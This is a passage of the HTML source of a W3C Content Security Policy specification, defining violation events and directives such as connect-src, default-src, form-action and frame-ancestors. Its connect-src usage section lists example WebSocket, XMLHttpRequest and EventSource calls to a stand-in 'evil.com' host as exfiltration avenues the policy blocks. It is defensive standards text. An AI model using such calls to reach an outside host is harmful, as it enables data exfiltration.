data-dfn-type=\"dfn\" data-noexport=\"\" id=\"fire-a-violation-event\">fire a violation event<a class=\"self-link\" href=\"#fire-a-violation-event\"></a></dfn>, the user agent MUST use an algorithm\n    equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>Let <var>report object</var> be the result of <a data-link-type=\"dfn\" href=\"#generate-a-violation-report-object\">generating a\n      violation report object</a>.\n      \n\n      \n      <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#queue-a-task\">Queue a task</a> to\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#concept-event-fire\">fire an event</a> named\n      <code>securitypolicyviolation</code> using the\n      <code><a class=\"idl-code\" data-link-type=\"interface\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> interface\n      with the following initializations:\n\n        \n       <ul>\n          \n        <li><code>blockedURI</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>blocked-uri</code> key.\n        \n\n          \n        <li><code>documentURI</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>document-uri</code> key.\n        \n\n          \n        <li><code>effectiveDirective</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>effective-directive</code> key.\n        \n\n          \n        <li><code>originalPolicy</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>original-policy</code> key.\n        \n\n          \n        <li><code>referrer</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>referrer</code> key.\n        \n\n          \n        <li><code>violatedDirective</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>violated-directive</code> key.\n        \n\n          \n        <li><code>sourceFile</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>source-file</code> key.\n        \n\n          \n        <li><code>lineNumber</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>line-number</code> key.\n        \n\n          \n        <li><code>columnNumber</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>column-number</code> key.\n        \n        \n       </ul>\n       \n      \n      \n    \n     </ol>\n     \n\n\n     <p>The <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#task-source\">task source</a> for these <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#concept-task\">tasks</a>\n    is the <a data-link-type=\"dfn\" href=\"#content-security-policy-task-source\">Content Security Policy task source</a>.</p>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"7\" id=\"directives\"><span class=\"secno\">7. </span><span class=\"content\">Directives</span><a class=\"self-link\" href=\"#directives\"></a></h2>\n\n\n    <p>This section describes the content security policy directives\n  introduced in this specification. Directive names are case insensitive.</p>\n\n\n    <p>In order to protect against Cross-Site Scripting (XSS), web\n  application authors SHOULD include:</p>\n\n  \n    <ul>\n    \n     <li>both the <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> and\n    <code><a data-link-type=\"dfn\" href=\"#object_src\">object-src</a></code> directives, or\n     \n\n    \n     <li>include a <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive, which covers both\n    scripts and plugins.\n     \n  \n    </ul>\n\n\n    <p>In either case, authors SHOULD NOT include either\n  <code>'unsafe-inline'</code> or <code>data:</code> as valid sources in\n  their policies. Both enable XSS attacks by allowing code to be included\n  directly in the document itself; they are best avoided completely.</p>\n\n\n    <p>Redirects are another area of potential concern. Authors SHOULD NOT include\n  <code>'unsafe-redirect'</code> as valid sources in their policies. It makes\n  it more difficult to reason about the complete set of resources that a policy\n  allows, especially given the path behavior outlined in the\n  <a href=\"#source-list-paths-and-redirects\">§4.2.2.3 Paths and Redirects</a> section.</p>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.1\" id=\"directive-base-uri\"><span class=\"secno\">7.1. </span><span class=\"content\"><code>base-uri</code></span><a class=\"self-link\" href=\"#directive-base-uri\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"base_uri\">base-uri<a class=\"self-link\" href=\"#base_uri\"></a></dfn></code> directive restricts the URLs that can\n    be used to specify the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document base URL</a>. The syntax for\n    the name and value of the directive are described by the following ABNF\n    grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"base-uri\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-base-urls\">allowed base URLs<a class=\"self-link\" href=\"#allowed-base-urls\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>base-uri</code> directive’s\n    value as a source list</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code>base-uri</code> does not fall back to the <a data-link-type=\"dfn\" href=\"#default-sources\">default\n    sources</a>.</p>\n     \n\n\n     <p>Step 4 of the algorithm defined in HTML5 to obtain a\n    <em>document’s base URL</em> MUST be changed to:</p>\n     \n\n    \n     <ol start=\"4\">\n      \n      <li>If the previous step was not successful, or the result of the\n      previous step does not <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a>\n      the <a data-link-type=\"dfn\" href=\"#allowed-base-urls\">allowed base URLs</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, then the\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document base URL</a> is <var>fallback base URL</var>.\n      Otherwise, it is the result of the previous step.\n      \n    \n     </ol>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.2\" id=\"directive-child-src\"><span class=\"secno\">7.2. </span><span class=\"content\"><code>child-src</code></span><a class=\"self-link\" href=\"#directive-child-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"child_src\">child-src<a class=\"self-link\" href=\"#child_src\"></a></dfn></code> directive governs the creation of\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing contexts</a> as well as Worker execution\n    contexts. The syntax for the name and value of the directive are described\n    by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"child-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-child-sources\">allowed child sources<a class=\"self-link\" href=\"#allowed-child-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>child-src</code>\n    directive’s value as a source list</a> if a <code>child-src</code>\n    directive is explicitly specified, and otherwise to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.2.1\" id=\"directive-child-src-nested\"><span class=\"secno\">7.2.1. </span><span class=\"content\">Nested Browsing Contexts</span><a class=\"self-link\" href=\"#directive-child-src-nested\"></a></h4>\n      \n\n\n      <p>To enforce the <code>child-src</code> directive the user agent MUST\n      enforce the <code><a data-link-type=\"dfn\" href=\"#frame_src\">frame-src</a></code> directive.</p>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.2.2\" id=\"directive-child-src-workers\"><span class=\"secno\">7.2.2. </span><span class=\"content\">Workers</span><a class=\"self-link\" href=\"#directive-child-src-workers\"></a></h4>\n      \n\n\n      <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL while processing the\n      <code>Worker</code> or <code>SharedWorker</code> constructors\n      <a data-link-type=\"biblio\" href=\"#biblio-workers\">[WORKERS]</a>, the user agent MUST act as if there was a fatal network\n      error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>\n      if the URL does not <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the\n      <a data-link-type=\"dfn\" href=\"#allowed-child-sources\">allowed child sources</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.3\" id=\"directive-connect-src\"><span class=\"secno\">7.3. </span><span class=\"content\"><code>connect-src</code></span><a class=\"self-link\" href=\"#directive-connect-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"connect_src\">connect-src<a class=\"self-link\" href=\"#connect_src\"></a></dfn></code> directive restricts which URLs the\n    protected resource can load using script interfaces. The syntax for the name\n    and value of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"connect-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-connection-targets\">allowed connection targets<a class=\"self-link\" href=\"#allowed-connection-targets\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>connect-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>connect-src</code> directive, or otherwise to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-connection-targets\">allowed connection\n    targets</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as\n    if there was a fatal network error and no resource was obtained,\n    <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      \n      <li>Processing the <a href=\"http://www.w3.org/TR/XMLHttpRequest/#the-send()-method\"><code>send()</code>\n      method</a> of an <code>XMLHttpRequest</code> object.\n      \n\n      \n      <li>Processing the <a href=\"http://dev.w3.org/html5/websockets/#websocket\"><code>WebSocket</code>\n      constructor</a>.\n      \n\n      \n      <li>Processing the <a href=\"http://dev.w3.org/html5/eventsource/#eventsource\"><code>EventSource</code>\n      constructor</a>.\n      \n\n      \n      <li>Pinging an endpoint during <a href=\"https://html.spec.whatwg.org/multipage/semantics.html#hyperlink-auditing\">hyperlink auditing</a>.\n      \n\n      \n      <li>Sending a beacon via the <a href=\"http://www.w3.org/TR/beacon/#sec-sendBeacon-method\"><code>sendBeacon()</code></a> method <a data-link-type=\"biblio\" href=\"#biblio-beacon\">[BEACON]</a>\n      \n    \n     </ul>\n     \n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.3.1\" id=\"connect-src-usage\"><span class=\"secno\">7.3.1. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#connect-src-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>JavaScript offers a few mechanisms that directly connect to an\n      external server to send or receive information. <code>EventSource</code>\n      maintains an open HTTP connection to a server in order to receive push\n      notifications, <code>WebSockets</code> open a bidirectional communication\n      channel between your browser and a server, and <code>XMLHttpRequest</code>\n      makes arbitrary HTTP requests on your behalf. These are powerful APIs that\n      enable useful functionality, but also provide tempting avenues for data\n      exfiltration.</p>\n      \n\n\n      <p>The <code>connect-src</code> directive allows you to ensure that\n      these sorts of connections are only opened to origins you trust.\n      Sending a policy that defines a list of source expressions for this\n      directive is straightforward. For example, to limit connections to\n      only <code>example.com</code>, send the following header:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a> example.com</pre>\n      \n\n\n      <p>All of the following will fail with the preceding directive in\n      place:</p>\n      \n\n      \n      <ul>\n        \n       <li><code>new WebSocket(\"wss://evil.com/\");</code>\n       \n        \n       <li><code>(new XMLHttpRequest()).open(\"GET\", \"https://evil.com/\", true);</code>\n       \n        \n       <li><code>new EventSource(\"https://evil.com\");</code>\n       \n      \n      </ul>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.4\" id=\"directive-default-src\"><span class=\"secno\">7.4. </span><span class=\"content\"><code>default-src</code></span><a class=\"self-link\" href=\"#directive-default-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"default_src\">default-src<a class=\"self-link\" href=\"#default_src\"></a></dfn></code> directive sets a default\n    source list for a number of directives. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"default-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>Let the <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"default-sources\">default sources<a class=\"self-link\" href=\"#default-sources\"></a></dfn> be the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>default-src</code>\n    directive’s value as a source list</a> if a <code>default-src</code>\n    directive is explicitly specified, and otherwise the U+002A ASTERISK\n    character (*).</p>\n     \n\n\n     <p>To enforce the <code>default-src</code> directive, the user agent\n    MUST enforce the following directives:</p>\n     \n\n    \n     <ul>\n      \n      <li><code><a data-link-type=\"dfn\" href=\"#child_src\">child-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#font_src\">font-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#img_src\">img-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#media_src\">media-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#object_src\">object-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#style_src\">style-src</a></code>\n      \n    \n     </ul>\n     \n\n\n     <p>If not specified explicitly in the policy, the directives listed\n    above will use the <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a> as their source list.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.4.1\" id=\"default-src-usage\"><span class=\"secno\">7.4.1. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#default-src-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p><code>default-src</code>, as the name implies, serves as a default\n      source list which the other source list-style directives will use as\n      a fallback if they’re not otherwise explicitly set. That is, consider\n      the following policy declaration:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'</pre>\n      \n\n\n      <p>Under this policy, fonts, frames, images, media, objects, scripts,\n      and styles will all only load from the same origin as the protected\n      resource, and connections will only be made to the same origin. Adding\n      a more specific declaration to the policy would completely override\n      the default source list for that resource type.</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'; <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> example.com</pre>\n      \n\n\n      <p>Under this new policy, fonts, frames, and etc. continue to be load\n      from the same origin, but scripts will <em>only</em> load from\n      <code>example.com</code>. There’s no inheritance; the\n      <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive sets the allowed sources of\n      script, and the default list is not used for that resource type.</p>\n      \n\n\n      <p>Given this behavior, one good way of building a policy for a site\n      would be to begin with a <code>default-src</code> of\n      <code>'none'</code>, and to build up a policy from there that contains\n      only those resource types which are actually in use for the page you’d\n      like to protect. If you don’t use webfonts, for instance, there’s no\n      reason to specify a source list for <code><a data-link-type=\"dfn\" href=\"#font_src\">font-src</a></code>;\n      specifying only those resource types a page uses ensures that the\n      possible attack surface for that page remains as small as possible.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.5\" id=\"directive-font-src\"><span class=\"secno\">7.5. </span><span class=\"content\"><code>font-src</code></span><a class=\"self-link\" href=\"#directive-font-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"font_src\">font-src<a class=\"self-link\" href=\"#font_src\"></a></dfn></code> directive restricts from where the\n    protected resource can load fonts. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"font-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-font-sources\">allowed font sources<a class=\"self-link\" href=\"#allowed-font-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>font-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>font-src</code>, or otherwise to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-font-sources\">allowed font sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report\n    a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for display in a font, such as when processing\n      the <a class=\"production css\" data-link-type=\"at-rule\" href=\"http://www.w3.org/TR/css-fonts-3/#at-font-face-rule\">&lt;@font-face></a> Cascading Style Sheets (CSS) rule.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.6\" id=\"directive-form-action\"><span class=\"secno\">7.6. </span><span class=\"content\"><code>form-action</code></span><a class=\"self-link\" href=\"#directive-form-action\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"form_action\">form-action<a class=\"self-link\" href=\"#form_action\"></a></dfn></code> restricts which URLs can be used as\n    the action of HTML <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/forms.html#the-form-element\">form</a></code> elements. The syntax for the name and value of\n    the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"form-action\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-form-actions\">allowed form actions<a class=\"self-link\" href=\"#allowed-form-actions\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>form-action</code>\n    directive’s value as a source list</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of processing\n    an HTML <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/forms.html#the-form-element\">form</a></code> element, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-form-actions\">allowed form actions</a> for\n    the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code>form-action</code> does not fall back to the <a data-link-type=\"dfn\" href=\"#default-sources\">default\n    sources</a> when the directive is not defined. That is, a policy that\n    defines <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'none'</code> but not\n    <code>form-action</code> will still allow form submissions to any\n    target.</p>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.7\" id=\"directive-frame-ancestors\"><span class=\"secno\">7.7. </span><span class=\"content\"><code>frame-ancestors</code></span><a class=\"self-link\" href=\"#directive-frame-ancestors\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"frame_ancestors\">frame-ancestors<a class=\"self-link\" href=\"#frame_ancestors\"></a></dfn></code> directive indicates whether the\n    user agent should allow embedding the resource using a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#frame\">frame</a></code>,\n    <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element, or equivalent\n    functionality in non-HTML resources. Resources can use this directive to\n    avoid many UI Redressing <a data-link-type=\"biblio\" href=\"#biblio-uiredress\">[UIREDRESS]</a> attacks by avoiding being embedded\n    into potentially hostile contexts.</p>\n     \n\n\n     <p>The syntax for the name and value of the directive are described by the\n    following ABNF grammar:</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"ancestor_source_list\">ancestor-source-list<a class=\"self-link\" href=\"#ancestor_source_list\"></a></dfn> = [ <a data-link-type=\"dfn\" href=\"#ancestor_source\">ancestor-source</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#ancestor_source\">ancestor-source</a> ) ] / \"'none'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"ancestor_source\">ancestor-source<a class=\"self-link\" href=\"#ancestor_source\"></a></dfn>      = <a data-link-type=\"dfn\" href=\"#scheme_source\">scheme-source</a> / <a data-link-type=\"dfn\" href=\"#host_source\">host-source</a>\n\ndirective-name  = \"frame-ancestors\"\ndirective-value = <a data-link-type=\"dfn\" href=\"#ancestor_source_list\">ancestor-source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-frame-ancestors\">allowed frame ancestors<a class=\"self-link\" href=\"#allowed-frame-ancestors\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>frame-ancestors</code>\n    directive’s value as a source list</a>. If a <code>frame-ancestors</code>\n    directive is not explicitly included in the policy, then <a data-link-type=\"dfn\" href=\"#allowed-frame-ancestors\">allowed frame\n    ancestors</a> is \"<code>*</code>\".</p>\n     \n\n\n     <p>To enforce the <code>frame-ancestors</code> directive, whenever the\n    user agent would load the protected resource into a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing\n    context</a>, the user agent MUST perform the following steps:</p>\n     \n\n    \n     <ol>\n      \n      <li>Let <var>nestedContext</var> be the nested browsing context into\n      which the protected resource is being loaded.\n      \n\n      \n      <li>Let <var>ancestorList</var> be the list of all\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#ancestor-browsing-context\">ancestors</a> of <var>nestedContext</var>.\n      \n\n      \n      <li>For each <var>ancestorContext</var> in <var>ancestorList</var>:\n        \n       <ol>\n          \n        <li>Let <var>document</var> be <var>ancestorContext</var>’s\n          <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#active-document\">active document</a>.\n        \n\n          \n        <li>If <var>document</var>’s URL does not\n          <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-frame-ancestors\">allowed frame\n          ancestors</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST:\n            \n         <ol>\n              \n          <li>Abort loading the protected resource.\n          \n\n              \n          <li>Take one of the following actions:\n\n                \n           <ol>\n                  \n            <li>\n                    Act as if it received an empty <a data-link-type=\"dfn\" href=\"#http-200-response\">HTTP 200 response</a>.\n                  \n            \n                  \n            <li>\n                    Redirect the user to a friendly error page which provides\n                    the option of opening the blocked page in a new <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#top-level-browsing-context\">top-level\n                    browsing context</a>.\n                  \n            \n                \n           </ol>\n           \n              \n          \n\n              \n          <li>\n                <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#parse-a-sandboxing-directive\">Parse a sandboxing directive</a> using the\n                empty string as the <em>input</em> and the newly created\n                document’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#forced-sandboxing-flag-set\">forced sandboxing flag set</a> as the\n                <em>output</em>.\n              \n          \n\n              \n          <li><a data-link-type=\"dfn\" href=\"#report-a-violation\">Report a violation</a>.\n          \n\n              \n          <li>Abort these steps.\n          \n            \n         </ol>\n         \n          \n        \n        \n       </ol>\n       \n      \n      \n    \n     </ol>\n     \n\n\n     <p>Steps 3.2.2 and 3.2.3 ensure that the blocked frame appears to be a\n    normal cross-origin document’s load. If these steps are ignored,\n    leakage of a document’s policy state is possible.</p>\n     \n\n\n     <p>The <code>frame-ancestors</code> directive MUST be ignored\n    when <a data-link-type=\"dfn\" href=\"#monitor\">monitoring</a> a policy, and when a contained in a\n    policy defined via a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code> does not fall back to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a> when the directive is not defined. That is, a policy\n    that defines <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'none'</code> but not\n    <code>frame-ancestors</code> will still allow the resource to be framed from\n    anywhere.</p>\n     \n\n\n     <p>When generating a violation report for a <code>frame-ancestors</code>\n    violation, the user agent MUST NOT include the value of the embedding\n    ancestor as a <code>blocked-uri</code> value unless it is same-origin with\n    the protected resource, as disclosing the value of cross-origin ancestors\n    is a violation of the Same-Origin Policy.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.7.1\" id=\"frame-ancestors-and-frame-options\"><span class=\"secno\">7.7.1. </span><span class=\"content\">\n        Relation to <code>X-Frame-Options</code>\n      </span><a class=\"self-link\" href=\"#frame-ancestors-and-frame-options\"></a></h4>\n      \n\n\n      <p>This directive is similar to the <code>X-Frame-Options</code> header that\n      several user agents have implemented. The <code>'none'</code> source\n      expression is roughly equivalent to that header’s <code>DENY</code>,\n      <code>'self'</code> to <code>SAMEORIGIN</code>, and so on. The major\n      difference is that many user agents implement <code>SAMEORIGIN</code> such\n      that it only matches against the top-level document’s location. This\n      directive checks each ancestor. If any ancestor doesn’t match, the load\n      is cancelled. <a data-link-type=\"biblio\" href=\"#biblio-rfc7034\">[RFC7034]</a></p>\n      \n\n\n      <p>The <code>frame-ancestors</code> directive <em>obsoletes</em> the\n      <code>X-Frame-Options</code> header.  If a resource has both policies,\n      the <code>frame-ancestors</code> policy SHOULD be enforced and the\n      <code>X-Frame-Options</code> policy SHOULD be ignored.</p>\n      \n    \n     </section>\n     \n\n    \n     <section class=\"informative\" id=\"multiple-host-source-values\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.7.2\" id=\"frame-ancestors-multiple-source-values\"><span class=\"secno\">7.7.2. </span><span class=\"content\">Multiple Host Source Values</span><a class=\"self-link\" href=\"#frame-ancestors-multiple-source-values\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>Multiple source-list expressions are allowed in a single policy (in contrast\n      to <code>X-Frame-Options</code>, which allows only one) to enable\n      scenarios involving embedded application components that are multiple levels\n      below the top-level browsing context.</p>\n      \n\n\n      <p>Many common scenarios for permissioned embedding (e.g. embeddable payment,\n      sharing or social apps) involve potentially many hundreds or thousands of\n      valid <code>source-list</code> expressions, but it is strongly recommended\n      against accommodating such scenarios with a static\n      <code>frame-ancestors</code> directive listing multiple values. In such\n      cases it is beneficial to generate this value dynamically, based on an\n      HTTP Referer header or an explicitly passed-in value, to allow only the\n      sources necessary for each given embedding of the resource.</p>\n      \n\n\n      <p>Consider a service providing a payments application at\n      <code>https://payments/makeEmbedded</code>. The service allows this resource\n      to be embedded by both merchant Alice and merchant Bob, who compete with each\n      other. Sending:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a> https://alice https://bob\n</pre>\n      \n\n\n      <p>would allow Bob to re-frame Alice’s resource and create fraudulent clicks,\n      perhaps discrediting Alice with her customers or the payments service. If the\n      payments service used additional information (e.g. as part of a URL like\n      <code>https://payments/makeEmbedded?merchant=alice</code>) to send\n      individually-tailored headers listing only the source-list expressions\n      needed by each merchant, this attack would be eliminated.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.8\" 